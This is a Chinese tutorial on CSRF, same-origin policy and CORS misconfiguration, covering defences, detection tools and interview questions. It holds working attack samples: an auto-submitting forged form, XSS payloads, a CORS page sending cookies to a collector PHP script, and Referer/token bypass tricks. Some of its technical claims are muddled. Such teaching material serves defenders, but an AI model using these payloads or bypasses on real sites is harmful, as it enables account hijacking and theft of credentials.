CSRF跨站请求伪造:原理、利用与防御全解析
前言
在Web安全领域,身份认证与权限控制是保障用户数据安全的核心防线,但跨站请求伪造(CSRF)漏洞却能巧妙绕过这道防线,以"借刀杀人"的方式实现恶意攻击。与XSS漏洞通过注入恶意脚本窃取数据不同,CSRF的核心目标是"伪造合法请求"------攻击者无需获取用户的Cookie等敏感信息,只需诱导已登录的用户触发预设的恶意请求,即可冒用其身份执行非本意的操作(如修改密码、转账、篡改数据等)。
随着Web应用交互逻辑的日益复杂,CSRF漏洞的触发场景不断拓展,从简单的URL参数伪造到结合存储型XSS的复合型攻击,从GET请求的钓鱼链接到POST请求的虚假表单,其攻击手段隐蔽性强、危害范围广。更值得关注的是,CSRF与浏览器同源策略、跨域资源共享(CORS)等基础安全机制深度关联,理解这些机制的底层逻辑,是精准识别和防御CSRF漏洞的关键。本文将基于实战视角,系统拆解CSRF的原理、利用方式、防御策略,并延伸解析同源策略与CORS跨域漏洞的关联风险,为开发者和安全测试人员提供全面的攻防参考。
一、CSRF跨站请求伪造深度解析
1.1 概念与核心原理
跨站请求伪造(Cross-Site Request Forgery,简称CSRF)是一种典型的Web攻击手段,其核心逻辑是:强制终端用户在当前已完成身份验证的Web应用程序上,执行非本意的操作。与XSS攻击专注于"窃取数据"不同,CSRF的核心目标是"伪造状态更改请求"------攻击者无需获取用户的Cookie等敏感信息,仅需诱导用户触发恶意请求,即可冒用其身份执行操作。

核心原理拆解:
- HTTP协议的无状态性:HTTP协议本身不记录用户的会话状态,服务器通过用户浏览器存储的Cookie来识别用户身份;
- Cookie的自动携带特性:只要用户未登出目标网站(Cookie未销毁),访问其他网站时,浏览器向目标网站发送请求时会自动携带该Cookie;
- 服务器身份校验缺陷:若服务器仅通过Cookie识别用户身份,未对请求的合法性进行额外校验,则无法区分请求是用户主动发起还是攻击者伪造的;
- 攻击隐蔽性:单个伪造请求可精准定位目标用户,多请求场景下攻击者虽无法区分具体操作对象,但仍可实现批量攻击。
1.2 漏洞触发位置与危害
1.2.1 常见触发位置
凡是涉及用户身份关联的状态更改操作,都可能存在CSRF漏洞,典型场景包括:
- 用户信息操作:修改用户名、密码、邮箱、手机号、收货地址等;
- 资金操作:转账、支付、充值、虚拟货币划转等;
- 业务操作:发布/删除文章、发送消息、添加好友、提交订单等;
- 权限操作:修改用户权限、添加管理员、退出登录等。
(此处建议插入图片:CSRF漏洞常见触发场景示意图,替换原文图片占位符)
1.2.2 核心危害
- 身份冒用:攻击者以受害者身份执行未授权操作,篡改用户核心数据;
- 数据泄露:间接导致用户密码、资金信息、个人隐私等敏感数据泄露;
- 业务混乱:批量伪造请求可能导致网站业务逻辑异常(如大量虚假订单、恶意消息);
- 权限提升:若受害者为管理员,可能被利用篡改系统配置、添加恶意账号。
1.3 攻击成立的核心条件
CSRF攻击的成功需同时满足以下两个关键条件,缺一不可:
- 受害者已登录目标网站A,并在本地浏览器中生成了有效的身份认证Cookie(未登出、未过期);
- 受害者在未登出网站A的情况下,通过点击钓鱼链接、访问恶意网站等方式,触发了攻击者预设的伪造请求。
⚠️ 注意:对于大多数Web应用,浏览器会自动携带用户的IP地址、Windows域凭据等身份相关信息,因此服务器无法仅凭Cookie区分合法请求与伪造请求。
1.4 CSRF漏洞实战利用方法
CSRF的核心利用思路是"诱导用户触发恶意请求",常见手段以钓鱼攻击为基础,结合不同技术场景衍生出多种方式:
1.4.1 方法1:利用Burp Suite插件快速生成POC
借助Burp Suite的CSRF POC生成插件(如CSRF Token Tracker、CSRF POC Generator),可快速抓取目标请求并生成伪造POC:
- 通过Burp拦截目标网站的核心操作请求(如修改个人信息);
- 使用插件生成对应的HTML POC页面,该页面包含自动提交的表单或脚本;
- 诱导受害者访问该POC页面,触发伪造请求。


1.4.2 方法2:手动构建虚假钓鱼页面
针对GET/POST请求,手动构建包含恶意请求的HTML页面,通过社工手段诱导用户点击:
- GET请求:直接将恶意请求参数拼接在URL中,生成钓鱼链接(如
http://xxx.com/edit?phone=138xxxx8888&submit=1),诱导用户点击; - POST请求:构建隐藏表单,设置表单action为目标接口,参数为伪造内容,通过JavaScript实现页面加载后自动提交。
示例:POST型CSRF钓鱼页面代码
html
<html>
<body onload="document.form1.submit()">
<form action="http://192.168.61.248:8080/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post" name="form1">
<input type="hidden" name="sex" value="1">
<input type="hidden" name="phonenum" value="13800138000">
<input type="hidden" name="add" value="hacker">
<input type="hidden" name="email" value="hacker@pikachu.com">
<input type="hidden" name="submit" value="submit">
</form>
</body>
</html>

💡 技巧:若目标网站未校验Referer头,可在POC中添加Referer伪造代码,绕过简单的同源检测。
注意:POST和GET的利用方式一样

1.4.3 方法3:结合存储型XSS实现复合型攻击
当目标网站存在存储型XSS漏洞时,可将CSRF恶意请求注入到XSS漏洞页面中,实现"访问即触发"的攻击效果:
- 抓取目标CSRF漏洞接口(如退出登录接口:
http://xxx.com/csrf_get.php?logout=1); - 构造XSS POC,将CSRF接口作为图片或脚本源注入:
</p><img src="http://xxx.com/csrf_get.php?logout=1"><p>; - 将该XSS POC提交到存储型XSS漏洞点(如留言板、个人签名);
- 受害者访问包含该XSS代码的页面时,浏览器会自动请求CSRF接口,触发退出登录等操作。

1.5 CSRF漏洞核心防御策略
防御CSRF的核心思路是"增强请求的合法性校验",通过多维度手段阻断伪造请求,常用策略如下:
-
Referer头校验(同源检测):服务器校验请求的Referer字段,仅允许来自本网站(同源)的请求。例如,若目标网站为zxdm.com,则拒绝Referer非zxdm.com的请求。缺点:Referer可被伪造,且部分浏览器可能不发送Referer头。
-
添加随机Token校验(最有效):在表单或请求头中添加随机生成的Token(如CSRF-Token),服务器每次请求都校验Token的有效性。关键要求:Token需随机、唯一、时效性短,且不能存储在Cookie中(建议存储在LocalStorage或页面隐藏字段)。
-
敏感操作二次验证:对于转账、修改密码、删除数据等核心操作,增加短信验证码、密码再次输入、生物识别等二次验证环节,即使CSRF请求被触发,也无法完成最终操作。
-
原始数据校验:对用户输入的核心数据(如转账金额、手机号)进行合理性校验,拒绝异常值(如转账金额超过用户余额、手机号格式错误)。
-
严格遵循同源策略:限制跨域请求的权限,避免敏感接口允许跨域访问。
-
用户层面防护:引导用户养成良好习惯,如不随意点击不明链接、重要网站使用完毕后及时登出、开启浏览器安全模式等。
二、同源策略与跨域核心机制
CSRF漏洞的产生与浏览器同源策略密切相关------同源策略是浏览器的核心安全机制,而跨域请求的不合理配置则可能间接放大CSRF风险。本节将深入解析同源策略的核心逻辑与跨域实现方式。

2.1 同源策略的定义与核心作用
同源策略(Same-Origin Policy,SOP)是浏览器的安全功能,其核心规则是:不同源的客户端脚本在无明确授权时,不能读写对方的资源。
- 核心目的:隔离潜在恶意文件,防止不同网站之间的恶意数据窃取与操作;
- 同源判定标准:协议、域名、端口三者完全一致(任一不同则为不同源)。例如:
- 同源:
http://www.a.com与http://www.a.com/index.html; - 不同源:
http://www.a.com与https://www.a.com(协议不同)、http://blog.a.com(域名不同)、http://www.a.com:8080(端口不同)。
- 同源:

2.2 同源策略的约束范围
2.2.1 受约束的资源(核心安全隔离对象)
- DOM操作:无法获取或修改不同源页面的DOM结构;
- 数据存储:无法读取不同源网站的Cookie、LocalStorage、IndexDB;
- 网络请求:无法向不同源服务器发起AJAX(XMLHttpRequest/Fetch)请求;
- 第三方插件:部分浏览器插件(如Flash)的资源访问也受同源策略约束。
2.2.2 不受约束的操作(合理跨域需求场景)
为满足正常的Web交互需求,部分操作不受同源策略限制:
- 页面交互类:页面链接(
<a href>)、重定向、表单提交(action属性)、302跳转; - 跨域资源引入类:可通过
<script>、<img>、<link>、<iframe>等带src属性的标签引入不同源资源,但JavaScript无法读写这些资源的内容。
示例:<img src="http://www.b.com/img.png"> 可在http://www.a.com页面中成功加载图片,但JS无法读取该图片的像素数据、尺寸等详细信息。

2.3 常见跨域实现方法
在实际开发中,经常需要实现不同域之间的资源交互(即跨域),常用合法方法如下:
2.3.1 方法1:设置document.domain实现主域共享Cookie
当两个子域属于同一主域时(如xinwen.baidu.com与tieba.baidu.com),可通过设置document.domain为相同主域,实现Cookie共享:
javascript
// 在xinwen.baidu.com和tieba.baidu.com页面中均添加以下代码
document.domain = 'baidu.com';
2.3.2 方法2:JSONP跨域数据读取
利用<script>标签不受同源策略限制的特性,通过回调函数获取不同源服务器返回的JSON数据(仅支持GET请求):
html
<script>
// 回调函数:接收跨域数据
function handleData(data) {
console.log('跨域获取的数据:', data);
}
</script>
// 引入不同源资源,服务器返回数据包裹在回调函数中
<script src="http://www.b.com/data?callback=handleData"></script>
(此处建议插入图片:JSONP跨域原理示意图,替换原文图片占位符)
2.3.3 方法3:CORS跨域资源共享(最常用)
CORS(Cross-Origin Resource Sharing)是W3C标准,通过服务器端设置响应头,明确允许特定域的跨域请求,支持GET、POST等多种请求方法:
- 核心响应头:
Access-Control-Allow-Origin,用于指定允许跨域的源(如http://aa.com),设置为*表示允许所有域跨域(存在安全风险); - PHP服务器CORS配置示例:
php
<?php
// 允许所有域跨域(不建议生产环境使用)
header("Access-Control-Allow-Origin: *");
// 允许的请求方法
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
// 允许的请求头
header("Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With");
// 允许跨域请求携带Cookie
header("Access-Control-Allow-Credentials: true");
?>
三、CORS跨域资源共享漏洞解析
当服务器端CORS配置不当(如Access-Control-Allow-Origin: *且允许携带Cookie)时,会产生CORS跨域漏洞,攻击者可利用该漏洞读取受害者的敏感数据,结合CSRF、XSS等漏洞放大攻击效果。
3.1 CORS漏洞的核心危害
CORS漏洞的核心风险是"跨域数据泄露",攻击者可通过构造恶意页面,读取目标网站的敏感数据(如用户Cookie、个人信息、业务数据),具体危害包括:
- 窃取用户身份凭证(Cookie、Token);
- 获取用户个人隐私信息(姓名、手机号、邮箱);
- 读取网站核心业务数据(订单信息、交易记录);
- 结合其他漏洞实现权限提升。
3.2 CORS漏洞实战利用场景
3.2.1 场景1:读取目标网站敏感数据
当目标网站设置Access-Control-Allow-Origin: *时,攻击者可构造恶意HTML页面,通过AJAX跨域请求读取目标网站数据:
html
<html>
<body>
<div id="demo"></div>
<button type="button" onclick="corsExploit()">触发攻击</button>
<script>
function corsExploit() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
// 读取目标网站响应数据并展示
document.getElementById("demo").innerHTML = alert("跨域获取的数据:" + this.responseText);
}
};
// 跨域请求目标网站敏感文件
xhttp.open("GET", "http://cors.com/cookie_set.php", true);
xhttp.withCredentials = true; // 携带Cookie
xhttp.send();
}
</script>
</body>
</html>
3.2.2 场景2:跨域获取用户Cookie
当目标网站设置Access-Control-Allow-Origin: http://www.cors.com(允许特定域跨域)且Access-Control-Allow-Credentials: true(允许携带Cookie)时,攻击者可通过以下步骤获取用户Cookie:
- 目标网站(cors.com)生成用户Cookie的代码(cookie_set.php):
php
<?php
header("Access-Control-Allow-Origin: http://www.cors.com");
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With");
header("Access-Control-Allow-Credentials: true");
// 生成包含敏感信息的Cookie
setcookie(
'name',
'567899-34yr39yr8wfbouw3gr93t9rw03r98r89wyr083wr083yw3r08t379tr93ww3r9t83yr0yr08y',
time() + 3600
);
?>
- 攻击者构造恶意页面(cookie_get_poc.html),跨域请求并获取Cookie:
html
<!DOCTYPE html>
<html>
<h1>CORS漏洞利用 - 获取Cookie</h1>
<script>
function exploit() {
var xhr1 = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
xhr1.onreadystatechange = function() {
if (xhr1.readyState == 4 && xhr1.status == 200) {
var cookies = document.cookie; // 获取跨域携带的Cookie
// 将Cookie发送到攻击者服务器保存
xhr2.open("POST", "http://www.cors.com/cookie_save.php", true);
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send("cookie=" + escape(cookies));
}
};
// 跨域请求目标网站,携带用户Cookie
xhr1.open("GET", "http://cors.com/cookie_set.php", true);
xhr1.withCredentials = true;
xhr1.send();
}
exploit();
</script>
</html>
- 攻击者服务器保存Cookie的代码(cookie_save.php):
php
<?php
header("Access-Control-Allow-Origin: *");
$cookie = $_POST['cookie'];
// 将Cookie保存到文件
$file = fopen("stolen_cookie.txt", "a");
fwrite($file, $cookie . "\n");
fclose($file);
?>
(此处建议插入图片:CORS漏洞获取Cookie效果截图,替换原文图片占位符)
3.2.3 场景3:XSS+CSRF+CORS复合型攻击
结合存储型XSS漏洞与CORS漏洞,实现"全自动窃取数据"的攻击效果:
-
目标条件:
- 网站A(www.cors.com)存在存储型XSS漏洞(如留言板可注入脚本);
- 网站B(cors.com)存在CORS漏洞,允许www.cors.com跨域访问并携带Cookie;
- 网站B的cookie_set.php文件可生成敏感Cookie。
-
攻击步骤:
- 攻击者构造XSS POC,引入恶意JS脚本:
http://www.cors.com/xss.php?test=<script src="http://localhost/csrf/xss_exp_ajax.js"></script>; - 恶意JS脚本(xss_exp_ajax.js)内容:跨域请求网站B的cookie_set.php,获取Cookie并发送到攻击者服务器;
- 受害者访问包含XSS代码的页面时,脚本自动执行,完成CORS跨域数据窃取。
- 攻击者构造XSS POC,引入恶意JS脚本:
(此处建议插入图片:复合型攻击流程示意图,替换原文图片占位符)
3.3 CORS漏洞检测方法
3.3.1 方法1:curl命令快速检测
通过curl命令发送请求,查看响应头中是否包含CORS相关字段:
bash
# 发送OPTIONS请求,查看CORS配置
curl -I -X OPTIONS http://target.com
若响应头中存在Access-Control-Allow-Origin,则说明目标启用了CORS,进一步判断其配置是否存在漏洞(如设置为*且允许携带Cookie)。
3.3.2 方法2:Burp Suite抓包检测
- 通过Burp拦截目标网站的任意请求;
- 查看响应头中的CORS相关字段,分析配置是否合理:
- 危险配置:
Access-Control-Allow-Origin: *+Access-Control-Allow-Credentials: true; - 合理配置:
Access-Control-Allow-Origin: http://trusted.com(仅允许可信域跨域)。
- 危险配置:

3.3.3 方法3:自动化工具检测
使用CORScanner等自动化工具,批量检测目标网站的CORS漏洞:
bash
# 安装工具:git clone https://github.com/chenjj/CORScanner.git
# 单个URL检测
python cors_scan.py -u http://target.com -v -o ./cors_result.json
# 批量检测(从文件读取URL列表)
python cors_scan.py -i url_list.txt -t 10 -o ./batch_result.json
工具参数说明:
| 短参数 | 长参数 | 描述 |
|---|---|---|
| -u | --url | 单个目标URL/域 |
| -i | --input | URL/域列表文件路径 |
| -t | --threads | 扫描线程数(默认5) |
| -o | --output | 结果保存为JSON文件 |
| -v | --verbose | 启用详细模式,实时显示结果 |
四、CSRF与XSS核心区别及面试高频题
4.1 CSRF与XSS的核心区别
CSRF与XSS均为常见的Web安全漏洞,但攻击原理、目标、手段存在本质区别,具体对比如下:
4.1.1 原理角度
- XSS:将恶意脚本注入到目标网站的HTML页面中,受害者浏览页面时脚本被执行,核心是"注入代码窃取数据";
- CSRF:诱导受害者触发预设的恶意请求,冒用其身份执行未授权操作,核心是"伪造合法请求更改状态"。
4.1.2 其他关键区别
- 攻击目标:XSS针对客户端(浏览器),CSRF针对服务器端;
- 数据流向:XSS是"从受害者处窃取数据",CSRF是"以受害者身份提交数据";
- 局限性:XSS依赖脚本执行环境(如浏览器禁用JS则失效),CSRF无此限制;
- 覆盖范围:XSS能实现的攻击效果(如窃取Cookie、执行操作),CSRF不一定能实现;但CSRF可通过结合XSS放大攻击范围;
- 防御难度:CSRF相对更难防御,需多维度校验请求合法性。
4.2 CSRF相关面试高频题
面试题1:Token值放在Cookie中是否能够防护CSRF?为什么?
答:不能。原因如下:
- CSRF攻击的核心是"冒用受害者的Cookie身份",浏览器发送请求时会自动携带Cookie中的所有数据(包括Token);
- 若Token存储在Cookie中,攻击者无需获取Token,只需诱导受害者触发请求,浏览器会自动携带Cookie中的Token,导致校验失效;
- 正确做法:将Token存储在LocalStorage或页面隐藏字段中,请求时通过表单或请求头手动携带,避免自动携带。
面试题2:CSRF攻击是否需要获取用户的Cookie?为什么?
答:不需要。原因如下:
- CSRF的核心是"利用浏览器自动携带Cookie的特性",攻击者无需获取Cookie的具体内容;
- 只要受害者未登出目标网站,浏览器向该网站发送请求时会自动携带Cookie,服务器通过Cookie识别用户身份,攻击者只需伪造请求参数即可;
- 这也是CSRF攻击隐蔽性强的关键------攻击者无需接触受害者的敏感数据,仅需诱导操作。
五、CSRF漏洞绕过技巧
在实际渗透测试中,部分网站虽部署了基础防御措施,但攻击者可通过以下技巧绕过校验:
-
Referer头伪造绕过:
- 方法1:构造空Referer头(部分服务器对空Referer不做拦截);
- 方法2:路径包含合法Referer(如目标校验Referer是否包含
http://www.aaa.com,可构造Referer为http://attack.com/http://www.aaa.com,部分校验逻辑会误判为合法)。
-
CSRF Token绕过:
- Token解密:若Token生成逻辑简单(如基于固定规则加密),可尝试解密或预测;
- Token长度校验:部分服务器仅校验Token长度,不校验有效性,可构造相同长度的随机字符串绕过;
- Token共享:替换不同用户的Token,测试是否可重复使用;
- Token删除:部分服务器未对"无Token请求"做拦截,删除请求中的Token字段可能绕过校验;
- Token窃取:结合XSS漏洞、缓存欺骗、重定向等方式窃取受害者的Token。
-
请求方法篡改绕过:部分服务器仅对POST请求做CSRF防御,将POST请求改为GET请求(若接口支持),可绕过校验。
六、总结
本文从实战视角出发,系统解析了CSRF跨站请求伪造的原理、利用方式、防御策略,并延伸讲解了同源策略、CORS跨域机制及CORS漏洞的利用与检测,同时对比了CSRF与XSS的核心区别,梳理了面试高频题与漏洞绕过技巧。核心要点总结如下:
- CSRF核心逻辑:利用浏览器自动携带Cookie的特性,诱导已登录用户触发恶意请求,冒用身份执行操作,无需获取Cookie内容;
- 关键防御手段:随机Token校验(最有效)、Referer同源检测、敏感操作二次验证、严格的CORS配置;
- 同源策略与CORS:同源策略是浏览器安全基础,CORS是合法跨域方案,但配置不当会产生严重漏洞,需避免
Access-Control-Allow-Origin: *与允许携带Cookie同时存在; - 复合型攻击风险:CSRF可结合XSS、CORS等漏洞放大危害,实际防御需覆盖全链路安全校验;
- 渗透测试要点:利用Burp Suite、CORScanner等工具提升检测效率,重点关注用户核心操作接口(转账、改密、权限管理)。
Web安全防御的核心是"最小权限原则"与"多维度校验",建议开发者在编码阶段就融入CSRF、CORS等漏洞的防御逻辑,安全测试人员需全面覆盖各类攻击场景,共同构建安全的Web应用环境。若有疑问或补充,欢迎在评论区交流讨论!